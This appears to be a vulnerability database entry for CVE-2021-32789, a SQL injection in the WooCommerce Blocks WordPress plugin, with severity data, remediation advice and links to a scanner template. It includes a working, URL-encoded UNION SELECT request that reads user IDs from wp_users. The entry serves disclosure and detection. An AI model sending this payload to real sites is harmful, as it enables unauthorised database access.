| Title | WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection |
|---|---|
| Author | rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system. |
| Remediation | Update WooCommerce Blocks to version 5.6 or later to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.92211 |
| CVE ID | CVE-2021-32789 |
| CWE ID | CWE-89 |
| Tags | cve2021 cve wordpress woocommerce sqli wp-plugin wp wpscan automattic vkev vuln |
woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the wc/store/products/collection-data?calculate_attribute_counts[][taxonomy] endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading.
GET /?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32789.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32789.pcap
N/AN/A